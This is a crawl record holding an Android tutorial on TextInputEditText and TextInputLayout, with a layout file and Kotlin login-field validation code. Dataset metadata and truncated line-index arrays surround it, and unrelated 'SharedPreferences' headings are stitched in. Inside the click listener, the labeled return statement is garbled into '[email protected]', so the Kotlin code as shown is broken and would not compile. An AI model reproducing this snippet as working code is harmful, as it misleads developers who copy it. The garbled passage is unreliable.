5580,
5615,
5616,
5664,
5689,
5717,
5771,
5772,
5815,
5816,
5873,
5916,
5963,
5964,
5997,
5998,
6032,
6066,
6067,
6150,
6151,
6161,
6162,
6168,
6169,
6195,
6196,
6266,
6267,
6289,
6290,
6326,
6393,
6415,
6429,
6467,
6561,
6583,
6597,
6619,
6662,
6683,
6697,
6707,
6713,
6714,
6739,
6740,
6814,
6815,
6837,
6838,
6874,
6945,
6967,
6981,
7045,
7117,
7139,
7153,
7175,
7222,
7243,
7257,
7267,
7273,
7275,
7276,
7288,
7289,
7368,
7369,
7379,
7380,
7411,
7412,
7424,
7444,
7469,
7490,
7508
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7508,
"ccnet_original_nlines": 223,
"rps_doc_curly_bracket": 0.0034629700239747763,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1599999964237213,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0062745101749897,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3772549033164978,
"rps_doc_frac_unique_words": 0.4574829936027527,
"rps_doc_mean_word_length": 8.913265228271484,
"rps_doc_num_sentences": 131,
"rps_doc_symbol_to_word_ratio": 0.0015686299884691834,
"rps_doc_unigram_entropy": 5.204601764678955,
"rps_doc_word_count": 588,
"rps_doc_frac_chars_dupe_10grams": 0.05380652844905853,
"rps_doc_frac_chars_dupe_5grams": 0.10246136039495468,
"rps_doc_frac_chars_dupe_6grams": 0.10246136039495468,
"rps_doc_frac_chars_dupe_7grams": 0.08834192156791687,
"rps_doc_frac_chars_dupe_8grams": 0.08834192156791687,
"rps_doc_frac_chars_dupe_9grams": 0.05380652844905853,
"rps_doc_frac_chars_top_2gram": 0.01373783964663744,
"rps_doc_frac_chars_top_3gram": 0.00686891982331872,
"rps_doc_frac_chars_top_4gram": 0.016790689900517464,
"rps_doc_books_importance": -709.5928955078125,
"rps_doc_books_importance_length_correction": -709.5928955078125,
"rps_doc_openwebtext_importance": -422.8221435546875,
"rps_doc_openwebtext_importance_length_correction": -422.8221435546875,
"rps_doc_wikipedia_importance": -297.6402282714844,
"rps_doc_wikipedia_importance_length_correction": -297.6402282714844
},
"fasttext": {
"dclm": 0.3680126667022705,
"english": 0.3347319960594177,
"fineweb_edu_approx": 2.248363971710205,
"eai_general_math": 0.09758549928665161,
"eai_open_web_math": 0.09304075688123703,
"eai_web_code": 0.8270068168640137
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,368,883,957,639,364,400 |
Speaker Deck
It's About the Humans, Stupid (Lightning)
by Tobias Pfeiffer
Published June 23, 2017 in Programming
In the development world most people are striving for technical excellence: better code, faster run times, more convenient interfaces, better databases, faster deployments… But is that really what makes us better at developing software?
In the end software development is done by groups of people creating products together. To do that communication and collaboration between humans is essential - you can be the best programmer ever, if you can’t efficiently work with others what good does it do you?
This talk will give you a primer and food for further thought.
|
{
"url": "https://speakerdeck.com/pragtob/its-about-the-humans-stupid-lightning",
"source_domain": "speakerdeck.com",
"snapshot_id": "crawl=CC-MAIN-2017-39",
"warc_metadata": {
"Content-Length": "27664",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FGAQXBSR2S73U2YNNPQXHTKGDZI4TIMT",
"WARC-Concurrent-To": "<urn:uuid:af871b6d-6e97-4ace-9215-073659954fff>",
"WARC-Date": "2017-09-24T01:16:25Z",
"WARC-IP-Address": "54.243.163.247",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OCM6F7AKNASTEOM2MPCKNTJNV2IE2YAN",
"WARC-Record-ID": "<urn:uuid:8d6e30cf-986b-41f7-8c7c-c4c001afa937>",
"WARC-Target-URI": "https://speakerdeck.com/pragtob/its-about-the-humans-stupid-lightning",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7b8ef790-b2c8-41fe-be89-15017d1efee3>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-235-6.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
14,
56,
57,
76,
77,
116,
117,
354,
355,
621,
622
],
"line_end_idx": [
13,
14,
56,
57,
76,
77,
116,
117,
354,
355,
621,
622,
684
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 684,
"ccnet_original_nlines": 12,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4094488322734833,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.15748031437397003,
"rps_doc_frac_unique_words": 0.7850467562675476,
"rps_doc_mean_word_length": 5.186915874481201,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0.007874020375311375,
"rps_doc_unigram_entropy": 4.33425760269165,
"rps_doc_word_count": 107,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.018018020316958427,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -49.24188232421875,
"rps_doc_books_importance_length_correction": -53.73534393310547,
"rps_doc_openwebtext_importance": -33.802825927734375,
"rps_doc_openwebtext_importance_length_correction": -38.296287536621094,
"rps_doc_wikipedia_importance": -19.797670364379883,
"rps_doc_wikipedia_importance_length_correction": -24.2911319732666
},
"fasttext": {
"dclm": 0.7318205237388611,
"english": 0.9518347382545471,
"fineweb_edu_approx": 2.5299084186553955,
"eai_general_math": 0.24725157022476196,
"eai_open_web_math": 0.16240155696868896,
"eai_web_code": 0.0016978400526568294
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.1",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,842,276,274,674,889,000 |
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
I am looking for a guide or tool for inserting bootstrap in to underscores theme. Booststrap is a CSS framework and Underscores theme is starter theme with ultra-minimal CSS.
share|improve this question
closed as off-topic by toscho Apr 24 at 21:39
This question appears to be off-topic. The users who voted to close gave this specific reason:
If this question can be reworded to fit the rules in the help center, please edit the question.
3
Can you rephrase your question to not use twitter bootstrap web 3.0 jargon? What do you mean by bootstrapping underscores? bootstrap and udnerscore are separate frameworks, it's not clear what you want – Tom J Nowell Jan 19 '13 at 23:52
Booststrap is a CSS framework and Underscores theme is starter theme with ultra-minimal CSS. I edit question, i hope you like new version – Ünsal Korkmaz Jan 20 '13 at 1:07
If your question is what i think it is then it's purely a html/CSS question, not a WP question and so the bootstrap docs have your answer and this question is offtopic – Tom J Nowell Jan 20 '13 at 17:04
That and underscores is a starter theme, not a theme of itself, you're supposed to modify it – Tom J Nowell Jan 20 '13 at 17:04
2
A recent guide to this is available online. It's a little strangely worded, but you should be able to follow along anyway kungfunguyen.com/… – user37619 Sep 5 '13 at 0:40
Other WordPress starter-themes that include Bootstrap:
https://github.com/SimonPadbury/bst
share|improve this answer
I created a theme the goal of integrating Twitter's bootstrap into Automattic's underscores with the smallest possible changeset.
I'm keeping it up to date rather frequently with both _s and Bootstrap. Here is the link:
https://github.com/ptbello/_strap
At the time of writing, it's underscores' most popular fork
http://forked.yannick.io/Automattic/_s
share|improve this answer
There are a bunch of premade ones to start with; here are three:
_tk
https://github.com/Themekraft/_tk/
alienship
https://github.com/mindctrl/alienship
Bootstraps
https://github.com/tareq1988/_bootstraps
share|improve this answer
The following is a tutorial based on underscore: WordPress Themes Templates Tutorial
It can easily be modified to work with Bootstrap. The only thing you have to pay attention to is the new column classes in Bootstrap 3 and not adding the tutorials CSSS near the end.
share|improve this answer
up vote 0 down vote accepted
I created a theme for this purpose. More details: http://theme.firmasite.com/
share|improve this answer
This plugin should do the trick: http://wordpress.org/extend/plugins/wordpress-bootstrap-css/
It simply packages up boostrap's CSS and JS and inserts it in you theme (as long as the theme provides the right hooks to wordpress).
share|improve this answer
its just adding bootstrap to theme. Its not making theme to use bootstrap :< – Ünsal Korkmaz Jan 20 '13 at 11:52
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
{
"url": "http://wordpress.stackexchange.com/questions/82329/a-guide-or-tool-for-inserting-bootstrap-in-underscores-theme?answertab=active",
"source_domain": "wordpress.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2016-18",
"warc_metadata": {
"Content-Length": "91034",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GQEN5GV3TITMSU47DXRAJEDSXKQLYQVI",
"WARC-Concurrent-To": "<urn:uuid:d6860e7a-b69a-499b-8ea2-103c691e72c9>",
"WARC-Date": "2016-05-05T05:05:34Z",
"WARC-IP-Address": "104.16.119.182",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:D5VVPUQ2IXOB7EWF4YQP7L5UKUBPRKLK",
"WARC-Record-ID": "<urn:uuid:301d70f5-0f46-4ed5-b7fa-5befbe8af5ed>",
"WARC-Target-URI": "http://wordpress.stackexchange.com/questions/82329/a-guide-or-tool-for-inserting-bootstrap-in-underscores-theme?answertab=active",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:dd469775-9efc-47e8-ab32-1e4716369bb8>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-239-7-51.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
154,
155,
163,
184,
216,
240,
295,
296,
471,
472,
500,
501,
547,
548,
643,
644,
740,
741,
745,
982,
987,
1160,
1165,
1368,
1373,
1501,
1505,
1676,
1677,
1732,
1733,
1769,
1770,
1796,
1797,
1927,
2017,
2051,
2052,
2112,
2151,
2152,
2178,
2179,
2244,
2245,
2249,
2250,
2285,
2286,
2296,
2297,
2335,
2336,
2347,
2348,
2389,
2390,
2416,
2417,
2502,
2503,
2686,
2687,
2713,
2742,
2743,
2821,
2822,
2848,
2849,
2943,
2944,
3078,
3079,
3105,
3110,
3223,
3224
],
"line_end_idx": [
154,
155,
163,
184,
216,
240,
295,
296,
471,
472,
500,
501,
547,
548,
643,
644,
740,
741,
745,
982,
987,
1160,
1165,
1368,
1373,
1501,
1505,
1676,
1677,
1732,
1733,
1769,
1770,
1796,
1797,
1927,
2017,
2051,
2052,
2112,
2151,
2152,
2178,
2179,
2244,
2245,
2249,
2250,
2285,
2286,
2296,
2297,
2335,
2336,
2347,
2348,
2389,
2390,
2416,
2417,
2502,
2503,
2686,
2687,
2713,
2742,
2743,
2821,
2822,
2848,
2849,
2943,
2944,
3078,
3079,
3105,
3110,
3223,
3224,
3314
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3314,
"ccnet_original_nlines": 79,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33991536498069763,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025387870147824287,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2341325730085373,
"rps_doc_frac_unique_words": 0.4603481590747833,
"rps_doc_mean_word_length": 5.013539791107178,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0.0014104399597272277,
"rps_doc_unigram_entropy": 4.975477695465088,
"rps_doc_word_count": 517,
"rps_doc_frac_chars_dupe_10grams": 0.05941357836127281,
"rps_doc_frac_chars_dupe_5grams": 0.10108025372028351,
"rps_doc_frac_chars_dupe_6grams": 0.09567900747060776,
"rps_doc_frac_chars_dupe_7grams": 0.09567900747060776,
"rps_doc_frac_chars_dupe_8grams": 0.07793209701776505,
"rps_doc_frac_chars_dupe_9grams": 0.07793209701776505,
"rps_doc_frac_chars_top_2gram": 0.04320988059043884,
"rps_doc_frac_chars_top_3gram": 0.050925929099321365,
"rps_doc_frac_chars_top_4gram": 0.01388888992369175,
"rps_doc_books_importance": -303.50146484375,
"rps_doc_books_importance_length_correction": -303.50146484375,
"rps_doc_openwebtext_importance": -169.22605895996094,
"rps_doc_openwebtext_importance_length_correction": -169.22605895996094,
"rps_doc_wikipedia_importance": -184.81541442871094,
"rps_doc_wikipedia_importance_length_correction": -184.81541442871094
},
"fasttext": {
"dclm": 0.40621721744537354,
"english": 0.8821898698806763,
"fineweb_edu_approx": 1.7599306106567383,
"eai_general_math": 0.007763030007481575,
"eai_open_web_math": 0.08609861135482788,
"eai_web_code": 0.00008928999886848032
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
3,646,061,902,852,560,400 |
Java Deadlock Example and Solution
Learn to create a deadlock in Java, programmatically, with an example. Also learn to detect deadlock and how to solve a deadlock situation in sourcecode.
In my previous post, I written about auto reload of configuration when any change happen in property files, I discussed about refreshing your application configuration using Java WatchService. As configurations are shared resources and when accessing via Threads, there is always chance of writing incorrect code which can cause in deadlock situation.
1. Deadlock
In Java, a deadlock is a situation where minimum two threads are holding the lock on some different resource, and both are waiting for other’s resource to complete its task. And, none is able to leave the lock on the resource it is holding.
deadlock scenario
Deadlock Scenario
In above case, Thread-1 has A but need B to complete processing and similarly Thread-2 has resource B but need A first.
package thread;
public class ResolveDeadLockTest {
public static void main(String[] args) {
ResolveDeadLockTest test = new ResolveDeadLockTest();
final A a = test.new A();
final B b = test.new B();
// Thread-1
Runnable block1 = new Runnable() {
public void run() {
synchronized (a) {
try {
// Adding delay so that both threads can start trying to
// lock resources
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
// Thread-1 have A but need B also
synchronized (b) {
System.out.println("In block 1");
}
}
}
};
// Thread-2
Runnable block2 = new Runnable() {
public void run() {
synchronized (b) {
// Thread-2 have B but need A also
synchronized (a) {
System.out.println("In block 2");
}
}
}
};
new Thread(block1).start();
new Thread(block2).start();
}
// Resource A
private class A {
private int i = 10;
public int getI() {
return i;
}
public void setI(int i) {
this.i = i;
}
}
// Resource B
private class B {
private int i = 20;
public int getI() {
return i;
}
public void setI(int i) {
this.i = i;
}
}
}
Running above code will result in a deadlock for very obvious reasons (explained above). Now we have to solve this issue.
2. How to avoid deadlock
I believe, the solution to any problem lies in identifying the root of the problem. In our case, it is the pattern of accessing the resources A and B, is main issue. So, to solve it, we will simply re-order the statements where the code is accessing shared resources.
// Thread-1
Runnable block1 = new Runnable() {
public void run() {
synchronized (b) {
try {
// Adding delay so that both threads can start trying to
// lock resources
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
// Thread-1 have A but need B also
synchronized (a) {
System.out.println("In block 1");
}
}
}
};
// Thread-2
Runnable block2 = new Runnable() {
public void run() {
synchronized (b) {
// Thread-2 have B but need A also
synchronized (a) {
System.out.println("In block 2");
}
}
}
};
Run again above class, and you will not see any deadlock kind of situation. I hope, it will help you in avoiding deadlocks, and if encountered, in resolving them.
Happy Learning !!
Was this post helpful?
Join 7000+ Awesome Developers
Get the latest updates from industry, awesome resources, blog updates and much more.
* We do not spam !!
16 thoughts on “Java Deadlock Example and Solution”
1. Great explanation but 100% deadlock here is still NOT guaranteed as in case where thread-1 completes its run() calling before thread-0 initiates its call to its run(). Its all depend on CPU scheduler.
Reply
2. Hey Lokesh,
What if the resources that are locked are passed as parameters by threads , that is a & b are passed as parameters and one thread passes x & y to a, b and the other passes y & x. Can you talk about that scenario if possible. Thanks.
Reply
• In such scenario, you can use any type of ordering on a and b e.g. Object.identityHashCode() can be used to compare any type of object and based on that comparison you can decide the lock order.
Reply
3. Thanks for this article.
I had to design “Resource Manager” application for a multi-user system. This Resource Manager should monitor the requests made by the users (or processes) on resources of the system.
i got some basic idea through this article.
Reply
4. Hello!
Why have you made resourses as internal classes? I tryed to create two Integer-reference objects and they do the same work perfectly. In my opinion, example without these internal classes looks clearer. Do you have some special meaning for this solution?
In any case, thank you for good explanations!
Reply
Leave a Comment
HowToDoInJava
A blog about Java and related technologies, the best practices, algorithms, and interview questions.
|
{
"url": "https://howtodoinjava.com/java/multi-threading/writing-a-deadlock-and-resolving-in-java/",
"source_domain": "howtodoinjava.com",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "111561",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:F6HPQJ2RTI7S3MGEDJKBMAOUQTFL7WPJ",
"WARC-Concurrent-To": "<urn:uuid:175e7b19-a630-4b67-b72b-5f3671b1bddc>",
"WARC-Date": "2022-05-18T15:36:38Z",
"WARC-IP-Address": "172.67.222.130",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:62WS2ONAQMK2YZUGWWYPKH3FYPKGE6JL",
"WARC-Record-ID": "<urn:uuid:f24968bf-f37a-4b8c-84a1-145d458e6973>",
"WARC-Target-URI": "https://howtodoinjava.com/java/multi-threading/writing-a-deadlock-and-resolving-in-java/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:505188ff-4df5-4a41-a2f3-7546db2203f8>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-76\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
35,
36,
190,
191,
543,
544,
556,
557,
798,
799,
817,
835,
836,
956,
957,
973,
974,
1009,
1010,
1052,
1108,
1109,
1137,
1165,
1166,
1180,
1217,
1240,
1263,
1274,
1337,
1361,
1386,
1426,
1453,
1460,
1500,
1524,
1564,
1571,
1577,
1582,
1587,
1588,
1602,
1639,
1662,
1685,
1725,
1749,
1789,
1796,
1802,
1807,
1812,
1813,
1843,
1873,
1876,
1877,
1892,
1911,
1933,
1934,
1956,
1969,
1973,
1974,
2002,
2017,
2021,
2024,
2025,
2040,
2059,
2081,
2082,
2104,
2117,
2121,
2122,
2150,
2165,
2169,
2172,
2174,
2175,
2297,
2298,
2323,
2324,
2592,
2593,
2612,
2648,
2670,
2692,
2702,
2764,
2787,
2811,
2850,
2876,
2882,
2921,
2944,
2983,
2989,
2994,
2998,
3002,
3003,
3016,
3052,
3074,
3096,
3135,
3158,
3197,
3203,
3208,
3212,
3216,
3217,
3380,
3381,
3399,
3400,
3423,
3424,
3454,
3455,
3540,
3541,
3561,
3562,
3614,
3615,
3821,
3822,
3832,
3849,
4086,
4087,
4097,
4298,
4299,
4311,
4341,
4528,
4576,
4577,
4587,
4599,
4858,
4908,
4909,
4919,
4920,
4936,
4937,
4951,
4952
],
"line_end_idx": [
35,
36,
190,
191,
543,
544,
556,
557,
798,
799,
817,
835,
836,
956,
957,
973,
974,
1009,
1010,
1052,
1108,
1109,
1137,
1165,
1166,
1180,
1217,
1240,
1263,
1274,
1337,
1361,
1386,
1426,
1453,
1460,
1500,
1524,
1564,
1571,
1577,
1582,
1587,
1588,
1602,
1639,
1662,
1685,
1725,
1749,
1789,
1796,
1802,
1807,
1812,
1813,
1843,
1873,
1876,
1877,
1892,
1911,
1933,
1934,
1956,
1969,
1973,
1974,
2002,
2017,
2021,
2024,
2025,
2040,
2059,
2081,
2082,
2104,
2117,
2121,
2122,
2150,
2165,
2169,
2172,
2174,
2175,
2297,
2298,
2323,
2324,
2592,
2593,
2612,
2648,
2670,
2692,
2702,
2764,
2787,
2811,
2850,
2876,
2882,
2921,
2944,
2983,
2989,
2994,
2998,
3002,
3003,
3016,
3052,
3074,
3096,
3135,
3158,
3197,
3203,
3208,
3212,
3216,
3217,
3380,
3381,
3399,
3400,
3423,
3424,
3454,
3455,
3540,
3541,
3561,
3562,
3614,
3615,
3821,
3822,
3832,
3849,
4086,
4087,
4097,
4298,
4299,
4311,
4341,
4528,
4576,
4577,
4587,
4599,
4858,
4908,
4909,
4919,
4920,
4936,
4937,
4951,
4952,
5052
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5052,
"ccnet_original_nlines": 163,
"rps_doc_curly_bracket": 0.011084719561040401,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.31111112236976624,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029951689764857292,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2879227101802826,
"rps_doc_frac_unique_words": 0.40833333134651184,
"rps_doc_mean_word_length": 4.934722423553467,
"rps_doc_num_sentences": 62,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.198276042938232,
"rps_doc_word_count": 720,
"rps_doc_frac_chars_dupe_10grams": 0.19082465767860413,
"rps_doc_frac_chars_dupe_5grams": 0.22347311675548553,
"rps_doc_frac_chars_dupe_6grams": 0.22319166362285614,
"rps_doc_frac_chars_dupe_7grams": 0.22319166362285614,
"rps_doc_frac_chars_dupe_8grams": 0.22291022539138794,
"rps_doc_frac_chars_dupe_9grams": 0.22291022539138794,
"rps_doc_frac_chars_top_2gram": 0.011820999905467033,
"rps_doc_frac_chars_top_3gram": 0.01913876086473465,
"rps_doc_frac_chars_top_4gram": 0.02364199049770832,
"rps_doc_books_importance": -407.547119140625,
"rps_doc_books_importance_length_correction": -407.547119140625,
"rps_doc_openwebtext_importance": -191.89114379882812,
"rps_doc_openwebtext_importance_length_correction": -191.89114379882812,
"rps_doc_wikipedia_importance": -204.5747833251953,
"rps_doc_wikipedia_importance_length_correction": -204.5747833251953
},
"fasttext": {
"dclm": 0.23037970066070557,
"english": 0.8319515585899353,
"fineweb_edu_approx": 2.2552733421325684,
"eai_general_math": 0.7779133915901184,
"eai_open_web_math": 0.09793400764465332,
"eai_web_code": 0.5698204040527344
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-8,172,683,870,596,492,000 |
Press J to jump to the feed. Press question mark to learn the rest of the keyboard shortcuts
This thread is archived
New comments cannot be posted and votes cannot be cast
Sort by
Single comment thread. View all comments
level 1
112 points · 1 year ago
can you please explain this go syntax to me?
type ImmutableTreeListᐸElementTᐳ struct {
I thought go doesn't have generics.
level 2
Original Poster238 points · 1 year ago
It doesn't. That's just a "template" file, which I use search and replace in order to generate the three monomorphized go files.
If you look closely, those aren't angle brackets, they're characters from the Canadian Aboriginal Syllabics block, which are allowed in Go identifiers. From Go's perspective, that's just one long identifier.
level 3
217 points · 1 year ago
